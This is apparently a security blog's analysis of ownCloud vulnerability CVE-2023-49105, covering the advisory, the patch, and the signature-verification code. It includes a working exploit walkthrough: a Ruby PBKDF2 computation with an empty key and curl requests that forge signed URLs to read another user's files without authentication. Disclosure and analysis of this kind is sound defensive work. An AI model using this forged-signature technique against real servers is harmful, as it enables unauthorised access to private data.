The Forgotten ownCloud vulnerability (CVE-2023-49105)

Another deep-dive - this time, we’ll look at CVE-2023-49105, a critical vulnerability in ownCloud’s signature-validation code permits an attacker to impersonate any user.
owncloud
vulnerabilities
disclosure
Author

Ron Bowes

Published

December 5, 2023

On November 29 and 30, 2023, we published high-level and deep-dive blogs into a seemingly-simple (but actually-complex) vulnerability in ownCloud that permitted users to enumerate environmental variables. Since it was listed as CVSS 10.0, everybody jumped on it.

Another vulnerability released in the same disclosure, CVE-2023-49105, had a CVSS score of 9.8 but managed to seemingly fly under the radar. But it is, arguably, a worse vulnerability, as we’ll detail here. Ambionics Security released their writeup demonstrating how to leverage this vulnerable for remote code execution, and later they released a full proof of concept exploit.

Advisory + patch

The advisory is short and sweet:

Description

It is possible to access, modify or delete any file without authentication if the username of the victim is known and the victim has no signing-key configured (which is the default).

Affected

  • core 10.6.0 – 10.13.0

Action taken

Deny the use of pre-signed urls if no signing-key is configured for the owner of the files.

It’s short but… seems kinda bad?

I went and found the patch. Not only is it also short and sweet, it even helpfully provides a test case:

    public function testNoSigningKey(): void {
        $url = 'http://cloud.example.net/?OC-Credential=alice&OC-Date=2019-05-14T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET&OC-Signature=f9e53a1ee23caef10f72ec392c1b537317491b687bfdd224c782be197d9ca2b6';
        $r = new Request('GET', $url);
        $r->setAbsoluteUrl($url);
        $config = $this->createMock(IConfig::class);
        # signing key for the user was never initialized
        $config->method('getUserValue')->willReturn('');
        $now = new \DateTime('2019-05-14T11:01:58.135Z', null);
        $v = new Verifier($r, $config, $now);
    
        self::assertTrue($v->isSignedRequest());
        self::assertEquals('alice', $v->getUrlCredential());
        self::assertFalse($v->signedRequestIsValid());
    }

Analysis

The vulnerable code is located in lib/private/Security/SignedUrl/Verifier.php:

    $trustedList = $this->config->getSystemValue('trusted_domains', []);
    $signingKey = $this->config->getUserValue($urlCredential, 'core', 'signing-key');
    $qp = \preg_replace('/%5B\d+%5D/', '%5B%5D', \http_build_query($params));

    foreach ($trustedList as $trustedDomain) {
        foreach (['https', 'http'] as $scheme) {
            $url = \Sabre\Uri\parse($this->getAbsoluteUrl());
            $url['scheme'] = $scheme;
            $url['host'] = $trustedDomain;
            $url['query'] = $qp;
            $url = \Sabre\Uri\build($url);

            $hash = $this->computeHash($algo, $url, $signingKey);
            if ($hash === $urlSignature) {
                return true;
            }
            \OC::$server->getLogger()->debug("Hashes do not match: $hash !== $urlSignature (used key: $signingKey url: $url", ['app' => 'signed-url']);
        }
    }

The computeHash function uses the signing-key value from the user’s configuration, which is in the oc_preferences table. By default, no value is there:

MariaDB [owncloud]> select * from oc_preferences where configkey = 'signing-key';
Empty set (0.001 sec)

But, undeterred by something as simple as a missing key, the vulnerable version of ownCloud plows forward with a blank key and calls computeHash with $signingKey set to the empty string. The computeHash function uses PBKDF2 with SHA512 to sign the URL:

    protected function computeHash(string $algo, string $url, $signingKey) {
        if (\preg_match('/^(.*)\/(.*)-(.*)$/', $algo, $output)) {
            if ($output[1] !== 'PBKDF2') {
                return false;
            }
            if ($output[3] !== 'SHA512') {
                return false;
            }
            $iterations = (int)$output[2];
            if ($iterations <= 0) {
                return false;
            }
            return \hash_pbkdf2("sha512", $url, $signingKey, $iterations, 64, false);
        }
        return false;
    }

That value is truncated to 64 characters and sent as the OC-Signature query-string argument.

It then validates the other signing arguments (which are included in the signature):

  • OC-Credential - a username (such as admin)
  • OC-Date - the date the signature expires (we can just use 9999-01-01)
  • OC-Expires - how long the signature is valid for (the default 1200 works)
  • OC-Verb - must match the HTTP verb (ie, GET or POST)

Exploit

Knowing all that, we can sign any URL we want. Let’s take the URL to fetch the /test.txt file: http://localhost:8080/remote.php/webdav/test.txt

By default, the request fails:

$ curl 'http://localhost:8080/remote.php/webdav/test.txt'
<?xml version="1.0" encoding="utf-8"?>
<d:error xmlns:d="DAV:" xmlns:s="http://sabredav.org/ns">
  <s:exception>Sabre\DAV\Exception\NotAuthenticated</s:exception>
  <s:message>No 'Authorization: Basic' header found. Either the client didn't send one, or the server is misconfigured, No 'Authorization: Basic' header found. Either the client didn't send one, or the server is misconfigured</s:message>
</d:error>

We can build a URL containing all the required arguments: http://localhost:8080/remote.php/dav/files/admin/test.txt?OC-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET

Then create a signature using the pbkdb2-ruby library:

3.2.2 :001 > require 'pbkdf2'
 => true 
3.2.2 :002 > url = 'http://localhost:8080/remote.php/dav/files/admin/test.txt?OC
-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=G
ET'
 => "http://localhost:8080/remote.php/dav/files/admin/test.txt?OC-Credenti... 
3.2.2 :003 > puts PBKDF2.new(:password=>url, :salt=>'', :iterations=>10000, hash
_function: OpenSSL::Digest::SHA512).hex_string()[0..63]
0ad47148a00bf9aac1a472e314c35d1afa413514a9c117d72218a2d9ad35f099

We can append that signature to the URL, giving us the full path:

$ curl 'http://localhost:8080/remote.php/dav/files/admin/test.txt?OC-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET&OC-Signature=0ad47148a00bf9aac1a472e314c35d1afa413514a9c117d72218a2d9ad35f099'
This data is supposed to be private!

I also threw together a crude script that’ll get directory listings:

$ bash ./list-files.sh "http://localhost:8080"
http://localhost:8080/remote.php/dav/
http://localhost:8080/remote.php/dav/files
http://localhost:8080/remote.php/dav/files/admin/test/
http://localhost:8080/remote.php/dav/files/admin/file2.txt
http://localhost:8080/remote.php/dav/files/admin/test.txt
http://localhost:8080/remote.php/dav/comments/files/3

And read files:

$ bash ./get-file.sh test.txt
This data is supposed to be private!

What we’re seeing

We have not seen any exploitation attempts so far, but are watching for them! You can check it out on our visualizer.

Summary (TL;DR)

Using CVE-2023-49105, an attacker can grab all files belonging to a user quite easily. This issue is at least as bad as CVE-2023-49103, so be sure you apply that patch!

References